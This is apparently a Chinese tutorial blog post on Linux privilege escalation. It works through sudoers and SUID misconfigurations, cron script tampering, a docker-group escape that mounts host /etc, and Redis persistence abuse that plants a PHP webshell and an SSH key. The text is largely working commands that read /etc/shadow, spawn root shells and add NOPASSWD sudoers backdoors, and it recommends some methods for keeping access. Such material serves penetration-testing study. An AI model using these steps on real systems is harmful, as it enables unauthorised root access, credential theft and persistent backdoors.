当前位置: 首页 > article >正文

提权——Linux

一、系统漏洞提权

#kali的nmap命令

nmap -O 目标ip

  1. 通过当前系统的内核版本搜索当前系统的漏洞,进行利用        搜索漏洞

  2. 对linux系统的漏洞进行利用(脏牛、脏管道等)

    利用漏洞搜索工具,搜索当前系统是否存在一些漏洞

    1. linux-exploit-suggester-master

      下载地址 :GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool

      解压缩之后,执行他的.sh 文件 ,会把当前系统的所有漏洞搜索出来。

    2. linux-smart-enumeration-master

      下载地址 :GitHub - diego-treitos/linux-smart-enumeration: Linux enumeration tool for pentesting and CTFs with verbosity levels

      解压缩之后,执行他的.sh 文件 ,会把当前系统的所有漏洞搜索出来。

  3. MSF提权辅助工具

    MSF中有一个模块,叫后渗透测试模块(POST),其中这个模块就可以提供提权 。

    进入msf中 ,搜索 suggester

    msf6 exploit(unix/webapp/drupal_drupalgeddon2) > search suggester
    ​
    Matching Modules
    ================
    ​
    #  Name                                      Disclosure Date  Rank    Check  Description
       -  ----                                      ---------------  ----    -----  -----------
       0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester
    ​
    ​
    Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

    利用这个后渗透测试模块,进行搜索 可用的提权漏洞 。

    msf6 exploit(unix/webapp/drupal_drupalgeddon2) > use 0
    msf6 post(multi/recon/local_exploit_suggester) > show options 
    ​
    Module options (post/multi/recon/local_exploit_suggester):
    ​
       Name             Current Setting  Required  Description
       ----             ---------------  --------  -----------
       SESSION                           yes       The session to run this module on
       SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits
    ​

    设置session后运行

二、系统配置提权 

1、soduer提权

(1)漏洞产生原因

        当一个普通用户被创建出来时,在执行某些任务时可能需要执行某些命令的权限,管理员可能为了省去麻烦直接将可以执行所有命令权限赋值给这个普通用户。

        且在 /etc/sudoers 文件中设置权限,给普通用户所有权限:

dong ALL=(ALL)  NOPASSWD:ALL #设置所有权限

dong ALL=(ALL)  NOPASSWD:/usr/bin/firewall-cmd  #设置操作防火墙的命令权限,只需要知道该命令所在的位置

(2)利用漏洞

        在普通账户操作的时候,可以在命令前加一个 sudo 就可以像root账户一样的操作 。  

sudo /etc/shadow

(3)复现

第一步:

查看当前有哪些用户

cat /etc/passwd

创建一个新用户

useradd 新用户名

 给新用户设置密码

第二步:

给Sun_happy赋予执行所有命令的权限

在/etc/sudoers中设置

chmod u+x sudoers        #这个文件只有root可以写,因此不能使用chmod 777

命令:

Sun_happy ALL=(ALL)  NOPASSWD:ALL #设置所有权限

第三步:

在普通账户操作的时候,可以在命令前加一个 sudo 就可以像root账户一样的操作 。

命令:

sudo /etc/shadow

         从真实情况来看,sudoers提前其实作用不大,且难以实现,但是该方法是一个非常适合维持权限的方法。

2、suid提权

(1)suid工作机制

Linux进程在运行的时候有以下三个UID:

Real UID:执行该进程的用户的UID。Real UID只用于标识用户,不用于权限检查。

也就是不论是root还Sun_happy都是没有区别的

Effective UID(EUID):进程执行时生效的UID。在对访问目标进行操作时,系统会检查EUID是否有权限。一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID。

Set UID:Set owner User ID up on execution,它允许用户执行的文件以该文件的拥有者的身份运行,也就是说可以越权执行命令。主要设置于 chmod 命令中第user第3位。

(2)bash

分析bash:

如果我们将suid权限设置到bash上,那么不论是谁执行他都算是属主在执行。

操作

#给bash命令加上suid权限

chmod u+s bash

#利用赋予了s权限的bash来使得普通用户浏览管理员才能查看的文件

sudo Sun_happy        #转到普通用户

id        #查看id

bash -p         #将euid改为root

cat /etc/shadow        #浏览管理员才能查看的文件

        但是这种寄希望于管理员将suid赋予错误的可能性太小,也是只适合修后门维持权限。

(3)检查系统文件s权限

不具危险性的s权限的赋予

linux系统本身 就有一部分指令具有s权限,这些指令不会有安全问题 :

/usr/libexec/pt_chown
/usr/libexec/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/crontab
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chage
/usr/bin/sudo
/usr/sbin/usernetctl
/bin/ping
/bin/ping6
/bin/mount
/bin/su
/bin/umount
/bin/fusermount
/sbin/pam_timestamp_check
/sbin/unix_chkpwd

具有危险性的s权限的赋予(检查系统配置漏洞时重点关注的对象)

chmod u+s /bin/bash            $ bash -p
chmod u+s /bin/sh            $ sh -p
chmod u+s /bin/env            $ env /bin/sh -p
chmod u+s /bin/vi            $ vi /etc/shadow
chmod u+s /bin/awk            $ awk '{print $0}' /etc/shadow
chmod u+s /bin/cat            $ cat /etc/shadow
chmod u+s /usr/bin/curl        $ curl file:///etc/shadow
chmod u+s /bin/find            $ find /etc/passwd -exec cat /etc/shadow \;
                              find /etc/passwd -exec bash -p \;

3、定时器提权

(1)定时器的使用

        定时器是我们linux中的一个命令,他可以让我们的命令按照我们设置的时间 去定时运行 :

#定时规则

*    *    *    *    *
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- 星期中星期几 (0 - 6) (星期天 为0)
|    |    |    +---------- 月份 (1 - 12) 
|    |    +--------------- 一个月中的第几天 (1 - 31)
|    +-------------------- 小时 (0 - 23)
+------------------------- 分钟 (0 - 59)

#查看已有的定时任务

crontab -l

#创建定时任务

crontab -e

(2)创建一个执行文件

代码如下:

curl http://192.xxx.xxx.xxx/dashboard/phpinfo.php > /dev/null
if [ $? -ne 0 ]; then
    /opt/lampp/lampp start
    echo "检测到lampp没有启动,已经完成启动 - "`date "+%Y-%m-%d %H:%M:%S"` >> /home/Sun_happy/data/site_check.log
fi

firewall-cmd --list-port | grep 80
if [ $? -ne 0 ]; then
    firewall-cmd --add-port=80/tcp
    echo "检测到80端口没有通过,已经完成添加 - "`date "+%Y-%m-%d %H:%M:%S"` >> /home/Sun_happy/data/site_check.log
fi

 解释:

访问http://192.xxx.xxx.xxx/dashboard/phpinfo.php

(2)创建一个定时器任务

crontab -e

*/1 * * * * /home/Sun_happy/mysite.sh

#检查定时任务是否创建成功

#查看日志

(3)定时任务危险性 

        对于上面的mysite.sh可执行文件来说,其所含的内容是没有危害的,但是稍作修改就会有很大的危害。

 危害代码添加:

#在mysite.sh文件中添加:将s权限赋值给bash

chmod u+s /usr/bin/bash 

#检测

#在mysite.sh文件中添加:使普通用户拥有执行所有命令的权限

echo Sun_happy ALL=(ALL:ALL) NOPASSWD:ALL >> /etc/sudoers

#检测

4、docker容器提权  

查看是否有docker组 -> 查看当前获取到的普通用户是否在docker组里面 -> 如果在,创建一个容器,并把etc目录挂载到宿主机的etc目录 -> 修改/etc/passwd中的普通用户id为0

例如 :拉取一个centos 容器

docker search centos

docker pull centos

docker images

docker run -it --privileged=true -v /etc:/etc [镜像id] /bin/bash
​
docker run -it --privileged=true -v /etc:/etc 5d0da3dc9764 /bin/bash
​
#docker -i 前端交互模式 -t tty终端显示  privileged配置容器内部拥有最高权限,-v挂载,前面的etc是物理机的文件夹,后面的etc是容器内部的文件夹,b8dfe9ade316是镜像id,/bin/bash是容器进入后的shell环境。

此时,容器内部的/etc目录和物理机的一一同步对应的,可选直接echo最加:

echo `wugd ALL=(ALL) NOPASSWD:ALL` >> /etc/sudoers

最后,直接用sudoers提权方式提权即可。

三、第三方软件提权(redis)

1、利用持久化文件提权

        在redis中,持久化的路径以及持久化文件的名字都可以修改 ,那么可以就可以使用 持久化做webshell .

首先 当前系统需要有web(php、jsp、asp等)环境 。

(1)修改持久化文件路径

#查询当前web环境的路径

# /opt/lampp/htdocs/security
​
config set dir /opt/lampp/htdocs/security

(2)修改持久化文件名字

#根据web环境 进行确定文件名

config set dbfilename  shell.php

(3)向持久化文件中写入木马

set 1 "<?php assert($_POST[1]);?>" ​ #持久化 save

(4)测试

2、利用公钥和私钥登录 

(1)生成公钥和私钥

 ssh-keygen -t rsa

 (2)设置redis的持久化文件的路径和名字

config set dir /root/.ssh  # 设置路径  如果当前root下 没有`.ssh` 自己创建一个
config set dbfilename authorized_keys   # 设置持久化文件的名字 
save

(3)把公钥内容存储到持久化文件中

set 1 "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8ISztK16CwYNbXoeWPtkT/4sxDQsXZ9+wYP3jTb49qS1x2AMedTOsEfK+4toIOk43UcT5PnSpve9Dr2i5qD+QMkQmv+PQ5Uy0MvF602jEol7JqgENuzgIxEdqjHooBIgK7xkRw438bUNQG6qZzhQic7l5AisxOGi9I472x5d9IbDp+W5goK+n2ZRtdX4uUeRBm/V8EAOvWUBQwXfDnu9F3B//gSrgbkTRvX/uOduo3hdRpBVuCmJBwOhS3+AZkEoymuascoQHelKcy5RdF/9sj/It2PhcX0+8ydCV6GTlityHmCZO2H1vnjfj4p6nZEW3xavQrw9g3tmVwRK4nov3 administrator@DESKTOP-MKGGU1P\n\n" 

(4)在生成公钥和私钥的windows上登录

 


http://www.kler.cn/a/303508.html

相关文章:

  • 解决failed to execute PosixPath(‘dot‘) 或者GraphViz‘s executables not found
  • SpringCloud 微服务消息队列灰度方案 (RocketMQ 4.x)
  • AutoDL远程连接技巧
  • sql专题 之 where和join on
  • 单片机设计电流与温度监控python上位机监控平台设计
  • web实操5——http数据详解,request对象功能
  • Sequential的使用和搭建实战
  • js 深入理解生成器
  • 实时分析都靠它→揭秘YashanDB列式存储引擎的技术实现
  • 力扣第560题 和为k的子数组
  • 解锁编程潜力,从掌握GitHub开始
  • 突发!OpenAI发布最强模型o1:博士物理92.8分,IOI金牌水平
  • 高职人工智能训练师边缘计算实训室解决方案
  • 产品规划文档
  • PHP一键寄送尽在掌中快递寄件小程序
  • 设计模式篇--抽象工厂模式
  • Vue - 详细介绍vue-qr在线生成二维码组件(Vue2 Vue3)
  • 为 WebSocket 配置 Nginx 反向代理来支持 Uvicorn 的最佳实践
  • 动手学习RAG: moka-ai/m3e 模型微调deepspeed与对比学习
  • 苍穹外卖随记(一)
  • YOLOV8实现小目标检测
  • Qt自动打开文件夹并高亮文件
  • CI/CD持续集成和持续部署以及相关软件的使用
  • Docker日志管理之Filebeat+ELK日志管理
  • (不用互三)解密AI创作:提升Prompt提示词的提问技巧
  • VS Code 中提升编程效率的功能及使用方法